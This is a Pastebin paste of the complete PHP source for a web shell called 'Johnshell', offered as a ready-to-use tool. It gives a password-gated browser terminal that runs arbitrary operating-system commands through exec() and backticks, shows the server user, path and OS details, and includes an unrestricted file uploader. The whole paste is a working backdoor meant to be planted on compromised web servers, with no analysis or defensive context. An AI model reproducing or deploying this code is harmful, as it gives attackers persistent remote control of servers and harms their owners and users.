Advertisement
Joker0day

Johnshell

Dec 20th, 2017
298
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 13.19 KB | None | 0 0
  1. <?php
  2. session_start();
  3. ?>
  4. <?php
  5.     $password = 'John123'; #Change this, do not touch the rest, unless you know what you're doing.
  6.    
  7.     if (isset($_POST['clear']) AND $_POST['clear'] == 'clear') {
  8.         clear_command();
  9.     }
  10.    
  11.     if ( ! isset($_SESSION['persist_commands']) OR ! isset($_SESSION['commands'])) {
  12.         $_SESSION['persist_commands'] = array();
  13.         $_SESSION['commands'] = array();
  14.         $_SESSION['command_responses'] = array();
  15.     }
  16.    
  17.     $toggling_persist = FALSE;
  18.     $toggling_current_persist_command = FALSE;
  19.    
  20.     if (isset($_POST['persist_command_id']) AND is_numeric($_POST['persist_command_id'])) {
  21.         $toggling_persist = TRUE;
  22.         $persist_command_id = $_POST['persist_command_id'];
  23.         if (count($_SESSION['persist_commands']) == $persist_command_id) {
  24.             $toggling_current_persist_command = TRUE;
  25.         } else {
  26.             $_SESSION['persist_commands'][$persist_command_id] =
  27.                 ! $_SESSION['persist_commands'][$persist_command_id];
  28.         }
  29.     }
  30.    
  31.     $previous_commands = '';
  32.    
  33.     foreach ($_SESSION['persist_commands'] as $index => $persist) {
  34.         if ($persist) {
  35.             $current_command = $_SESSION['commands'][$index];
  36.             if ($current_command != '') {
  37.                 $previous_commands .= $current_command . '; ';
  38.             }
  39.         }
  40.     }
  41.    
  42.     if (isset($_POST['command'])) {
  43.         $command = $_POST['command'];
  44.         if ( ! isset($_SESSION['logged_in'])) {
  45.             if ($command == $password) {
  46.                 $_SESSION['logged_in'] = TRUE;
  47.                 $response = array('Welcome, ' . str_replace("\n", '', `whoami`) . '!!');
  48.             } else {
  49.                 $response = array('Incorrect Password');
  50.             }
  51.             array_push($_SESSION['persist_commands'], FALSE);
  52.             array_push($_SESSION['commands'], 'Password: ');
  53.             array_push($_SESSION['command_responses'], $response);
  54.         } else {
  55.             if ($command != '' AND ! $toggling_persist) {
  56.                 if ($command == 'logout') {
  57.                     session_unset();
  58.                     $response = array('Successfully Logged Out');
  59.                 } elseif ($command == 'clear') {
  60.                     clear_command();
  61.                 } else {
  62.                     exec($previous_commands . $command . ' 2>&1', $response, $error_code);
  63.                     if ($error_code > 0 AND $response == array()) {
  64.                         $response = array('Error');
  65.                     }
  66.                 }
  67.             } else {
  68.                 $response = array();
  69.             }
  70.             if ($command != 'logout' AND $command != 'clear') {
  71.                 if ($toggling_persist) {
  72.                     if ($toggling_current_persist_command) {
  73.                         array_push($_SESSION['persist_commands'], TRUE);
  74.                         array_push($_SESSION['commands'], $command);
  75.                         array_push($_SESSION['command_responses'], $response);
  76.                         if ($command != '') {
  77.                             $previous_commands = $previous_commands . $command . '; ';
  78.                         }
  79.                     }
  80.                 } else {
  81.                     array_push($_SESSION['persist_commands'], FALSE);
  82.                     array_push($_SESSION['commands'], $command);
  83.                     array_push($_SESSION['command_responses'], $response);
  84.                 }
  85.             }
  86.         }
  87.     }
  88.    
  89.     function clear_command()
  90.     {
  91.         if (isset($_SESSION['logged_in'])) {
  92.             $logged_in = TRUE;
  93.         } else {
  94.             $logged_in = FALSE;
  95.         }
  96.         session_unset();
  97.         if ($logged_in) {
  98.             $_SESSION['logged_in'] = TRUE;
  99.         }
  100.     }
  101.    
  102. ?>
  103. <title>~/Shell</title>
  104. <script type="text/javascript">
  105.   WebFontConfig = {
  106.     google: { families: [ 'Ubuntu:300:latin' ] }
  107.   };
  108.   (function() {
  109.     var wf = document.createElement('script');
  110.     wf.src = ('https:' == document.location.protocol ? 'https' : 'http') +
  111.       '://ajax.googleapis.com/ajax/libs/webfont/1/webfont.js';
  112.     wf.type = 'text/javascript';
  113.     wf.async = 'true';
  114.     var s = document.getElementsByTagName('script')[0];
  115.     s.parentNode.insertBefore(wf, s);
  116.   })(); </script>
  117. <center><font face="Ubuntu" size="3" color="#00D3D3">
  118. <pre>
  119.       _           _               _           ____    _   _   ____      ____    _              _   _
  120.      | |   ___   | |__    _ __   ( )  ___    |  _ \  | | | | |  _ \    / ___|  | |__     ___  | | | |
  121.   _  | |  / _ \  | '_ \  | '_ \  |/  / __|   | |_) | | |_| | | |_) |   \___ \  | '_ \   / _ \ | | | |
  122. | |_| | | (_) | | | | | | | | |     \__ \   |  __/  |  _  | |  __/     ___) | | | | | |  __/ | | | |
  123.  \___/   \___/  |_| |_| |_| |_|     |___/   |_|     |_| |_| |_|       |____/  |_| |_|  \___| |_| |_|
  124.                                                                                                    
  125. </pre></font>
  126. <?php
  127. echo '<span style="color:#00D3D3;text-align:center;">OS: '.php_uname().'</span>';
  128. ?>
  129. </center>
  130. <head>
  131.     <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
  132.     <style type="text/css">
  133.         * {
  134.             margin: 0;
  135.             padding: 0;
  136.         }
  137.         body {
  138.  -webkit-font-smoothing: antialiased;
  139.  text-rendering: optimizeLegibility;
  140.  font-family: "proxima-nova-soft", sans-serif;
  141.  -webkit-user-select: none;
  142. }
  143. body .vertical-centered-box {
  144.  position: absolute;
  145.  width: 100%;
  146.  height: 100%;
  147.  text-align: center;
  148. }
  149. body .vertical-centered-box:after {
  150.  content: '';
  151.  display: inline-block;
  152.  height: 100%;
  153.  vertical-align: middle;
  154.  margin-right: -0.25em;
  155. }
  156. body .vertical-centered-box .content {
  157.  -webkit-box-sizing: border-box;
  158.  -moz-box-sizing: border-box;
  159.  box-sizing: border-box;
  160.  display: inline-block;
  161.  vertical-align: middle;
  162.  text-align: left;
  163.  font-size: 0;
  164. }
  165. .text-placeholder {
  166.  width: 60px;
  167.  height: 8px;
  168.  border-radius: 4px;
  169.  background-color: #000000;
  170.  display: inline-block;
  171.  vertical-align: middle;
  172. }
  173. * {
  174.  -webkit-transition: all 0.3s;
  175.  -moz-transition: all 0.3s;
  176.  -o-transition: all 0.3s;
  177.  transition: all 0.3s;
  178. }
  179. body,
  180. .vertical-centered-box {
  181.  background: linear-gradient(-134deg, #000000 0%, #000000 98%) #000000;
  182.  background:url(http://i.imgur.com/nGf9oZD.jpg) fixed no-repeat right;
  183. }
  184. .loader-circle {
  185.  position: absolute;
  186.  left: 50%;
  187.  top: 50%;
  188.  width: 120px;
  189.  height: 120px;
  190.  border-radius: 50%;
  191.  box-shadow: inset 0 0 0 1px rgba(255, 255, 255, 0.1);
  192.  margin-left: -60px;
  193.  margin-top: -60px;
  194. }
  195. .loader-line-mask {
  196.  position: absolute;
  197.  left: 50%;
  198.  top: 50%;
  199.  width: 60px;
  200.  height: 120px;
  201.  margin-left: -60px;
  202.  margin-top: -60px;
  203.  overflow: hidden;
  204.  -webkit-transform-origin: 60px 60px;
  205.  -moz-transform-origin: 60px 60px;
  206.  -o-transform-origin: 60px 60px;
  207.  -ms-transform-origin: 60px 60px;
  208.  transform-origin: 60px 60px;
  209.  -webkit-mask-image: -webkit-linear-gradient(top, #000000, rgba(0, 0, 0, 0));
  210.  -webkit-animation: rotate 1.2s infinite linear;
  211.  -moz-animation: rotate 1.2s infinite linear;
  212.  -o-animation: rotate 1.2s infinite linear;
  213.  animation: rotate 1.2s infinite linear;
  214. }
  215. .loader-line-mask .loader-line {
  216.  width: 120px;
  217.  height: 120px;
  218.  border-radius: 50%;
  219.  box-shadow: inset 0 0 0 1px rgba(255, 255, 255, 0.5);
  220. }
  221. lesshat-selector {
  222.  -lh-property: 0; }
  223. @-webkit-keyframes rotate{ 0% { -webkit-transform: rotate(0deg);} 100% { -webkit-transform: rotate(360deg);}}
  224. @-moz-keyframes rotate{ 0% { -moz-transform: rotate(0deg);} 100% { -moz-transform: rotate(360deg);}}
  225. @-o-keyframes rotate{ 0% { -o-transform: rotate(0deg);} 100% { -o-transform: rotate(360deg);}}
  226. @keyframes rotate{ 0% {-webkit-transform: rotate(0deg);-moz-transform: rotate(0deg);-ms-transform: rotate(0deg);transform: rotate(0deg);} 100% {-webkit-transform: rotate(360deg);-moz-transform: rotate(360deg);-ms-transform: rotate(360deg);transform: rotate(360deg);};
  227. }
  228. lesshat-selector {
  229.  -lh-property: 0; }
  230. @-webkit-keyframes rotate{ 0% { -webkit-transform: rotate(0deg);} 100% { -webkit-transform: rotate(360deg);}}
  231. @-moz-keyframes rotate{ 0% { -moz-transform: rotate(0deg);} 100% { -moz-transform: rotate(360deg);}}
  232. @-o-keyframes rotate{ 0% { -o-transform: rotate(0deg);} 100% { -o-transform: rotate(360deg);}}
  233. @keyframes rotate{ 0% {-webkit-transform: rotate(0deg);-moz-transform: rotate(0deg);-ms-transform: rotate(0deg);transform: rotate(0deg);} 100% {-webkit-transform: rotate(360deg);-moz-transform: rotate(360deg);-ms-transform: rotate(360deg);transform: rotate(360deg);};
  234. }
  235. ::-webkit-scrollbar {
  236.    background-color: #000000 !important;
  237. }
  238.  
  239. ::-webkit-scrollbar-track {
  240.    background-color: #000000 !important;
  241. }
  242.  
  243. ::-webkit-scrollbar-thumb {
  244.    background-color: #0B615E !important;
  245.    border : solid !important;
  246.    border-top-style: none !important;
  247.    border-bottom-style: none !important;
  248.    border-width : 1px !important;
  249.    border-color: #000000 !important;
  250. }
  251.         body {
  252.             background-color: #000000;
  253.             color: #00FF00;
  254.             font-family: monospace;
  255.             font-weight: bold;
  256.             font-size: 12px;
  257.             text-align: center;
  258.         }
  259.         input, textarea {
  260.             color: inherit;
  261.             font-family: inherit;
  262.             font-size: inherit;
  263.             font-weight: inherit;
  264.             background-color: inherit;
  265.             border: inherit;
  266.         }
  267.         .content {
  268.             width: 80%;
  269.             min-width: 400px;
  270.             margin: 40px auto;
  271.             text-align: left;
  272.             overflow: auto;
  273.         }
  274.         .terminal {
  275.             border: 1px solid #00D3D3;
  276.             height: 500px;
  277.             position: relative;
  278.             overflow: auto;
  279.             padding-bottom: 20px;
  280.         }
  281.         .terminal .bar {
  282.             border-bottom: 1px solid #00D3D3;
  283.             padding: 2px;
  284.             white-space: nowrap;
  285.             overflow: hidden;
  286.         }
  287.         .terminal .commands {
  288.             padding: 2px;
  289.             padding-right: 0;
  290.         }
  291.         .terminal #command {
  292.             width: 90%;
  293.         }
  294.         .terminal .colorize {
  295.             color: #00FF00;
  296.         }
  297.         .terminal .persist_button {
  298.             float: right;
  299.             border-width: 1px 0 1px 1px;
  300.             border-style: solid;
  301.             border-color: #000000;
  302.             clear: both;
  303.         }
  304.     </style>
  305. </head>
  306. <body>
  307.     <div class="content">
  308.         <div class="terminal" onclick="document.getElementById('command').focus();" id="terminal">
  309.             <div class="bar">
  310.                 <?php echo `whoami`, ' - ', exec($previous_commands . 'pwd'); ?>
  311.             </div>
  312.             <form action="<?php echo $_SERVER['PHP_SELF']; ?>" method="post" class="commands" id="commands">
  313.                 <?php if ( ! empty($_SESSION['commands'])) { ?>
  314.                 <div>
  315.                     <?php foreach ($_SESSION['commands'] as $index => $command) { ?>
  316.                     <pre><?php echo '$ ', $command, "\n"; ?></pre>
  317.                     <?php foreach ($_SESSION['command_responses'][$index] as $value) { ?>
  318.                     <pre><?php echo htmlentities($value), "\n"; ?></pre>
  319.                     <?php } ?>
  320.                     <?php } ?>
  321.                 </div>
  322.                 <?php } ?>
  323.                 $ <?php if ( ! isset($_SESSION['logged_in'])) { ?>Password:
  324.                 <input type="password" name="command" id="command" />
  325.                 <?php } else { ?>
  326.                 <input type="text" name="command" id="command" autocomplete="off" onkeydown="return command_keyed_down(event);" />
  327.                 <?php } ?>
  328.             </form>
  329.         </div>
  330.     </div>
  331.     <script type="text/javascript">
  332.        
  333.         <?php
  334.             $single_quote_cancelled_commands = array();
  335.             if ( ! empty( $_SESSION['commands'] ) ) {
  336.                 foreach ($_SESSION['commands'] as $command) {
  337.                     $cancelled_command = str_replace('\\', '\\\\', $command);
  338.                     $cancelled_command = str_replace('\'', '\\\'', $command);
  339.                     $single_quote_cancelled_commands[] = $cancelled_command;
  340.                 }
  341.             }
  342.         ?>
  343.        
  344.         var previous_commands = ['', '<?php echo implode('\', \'', $single_quote_cancelled_commands) ?>', ''];
  345.        
  346.         var current_command_index = previous_commands.length - 1;
  347.        
  348.         document.getElementById('command').select();
  349.        
  350.         document.getElementById('terminal').scrollTop = document.getElementById('terminal').scrollHeight;
  351.        
  352.         function toggle_persist_command(command_id)
  353.         {
  354.             document.getElementById('persist_command_id').value = command_id;
  355.             document.getElementById('commands').submit();
  356.         }
  357.        
  358.         function command_keyed_down(event)
  359.         {
  360.             var key_code = get_key_code(event);
  361.             if (key_code == 38) { //Up arrow
  362.                 fill_in_previous_command();
  363.             } else if (key_code == 40) { //Down arrow
  364.                 fill_in_next_command();
  365.             } else if (key_code == 9) { //Tab
  366.                
  367.             } else if (key_code == 13) { //Enter
  368.                 if (event.shiftKey) {
  369.                     toggle_persist_command(<?php
  370.                         if (isset($_SESSION['commands'])) {
  371.                             echo count($_SESSION['commands']);
  372.                         } else {
  373.                             echo 0;
  374.                         }
  375.                     ?>);
  376.                     return false;
  377.                 }
  378.             }
  379.             return true;
  380.         }
  381.        
  382.         function fill_in_previous_command()
  383.         {
  384.             current_command_index--;
  385.             if (current_command_index < 0) {
  386.                 current_command_index = 0;
  387.                 return;
  388.             }
  389.             document.getElementById('command').value = previous_commands[current_command_index];
  390.         }
  391.        
  392.         function fill_in_next_command()
  393.         {
  394.             current_command_index++;
  395.             if (current_command_index >= previous_commands.length) {
  396.                 current_command_index = previous_commands.length - 1;
  397.                 return;
  398.             }
  399.             document.getElementById('command').value = previous_commands[current_command_index];
  400.         }
  401.        
  402.         function get_key_code(event)
  403.         {
  404.             var event_key_code = event.keyCode;
  405.             return event_key_code;
  406.         }
  407.        
  408.     </script>
  409.     <form action="<?php echo $_SERVER['PHP_SELF']; ?>" method="post">
  410.         <input type="Submit" name="clear" value="Clear All" />
  411.         <input type="hidden" value="Clear" onfocus="this.style.color='#0000FF';" onblur="this.style.color='';" />
  412.     </form>
  413. </body>
  414. <?php
  415. echo '<font color="#00D3D3" size="2">';
  416. if(isset($_POST['Submit'])){
  417.     $filedir = "";
  418.     $maxfile = '2000000';
  419.     $mode = '0644';
  420.     $userfile_name = $_FILES['image']['name'];
  421.     $userfile_tmp = $_FILES['image']['tmp_name'];
  422.     if(isset($_FILES['image']['name'])) {
  423.         $qx = $filedir.$userfile_name;
  424.         @move_uploaded_file($userfile_tmp, $qx);
  425.         @chmod ($qx, octdec($mode));
  426. echo'<span style="color:#00D3D3;text-align:center;">Done! ==> '.$userfile_name.'</span>';
  427. }
  428. }
  429. else{
  430. echo'<form method="POST" action="#" color="#00D3D3" enctype="multipart/form-data"><input type="file" name="image"><input type="Submit" name="Submit" value="Upload"></form>';
  431. }
  432. echo '</font>';
  433. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement